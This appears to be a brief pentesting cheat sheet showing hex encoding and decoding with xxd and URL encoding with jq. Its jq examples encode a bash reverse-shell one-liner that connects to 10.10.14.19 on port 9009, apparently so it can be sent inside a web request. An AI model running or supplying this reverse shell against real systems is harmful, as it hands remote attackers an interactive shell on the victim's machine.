Encode & Decode
Hex
Hex encoding
echo -n "ABCD" | xxd -E -p
Output: 41424344
Hex decoding
echo -n "41424344" | xxd -r -p
Output: ABCD
url
url encoding with jq
This encoding is generated with jq
- Command line JSON processor.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.19/9009 0>&1"' | jq -sRr @uri
OR
jq -rn --arg x 'bash -c "bash -i >& /dev/tcp/10.10.14.19/9009 0>&1"' '$x|@uri'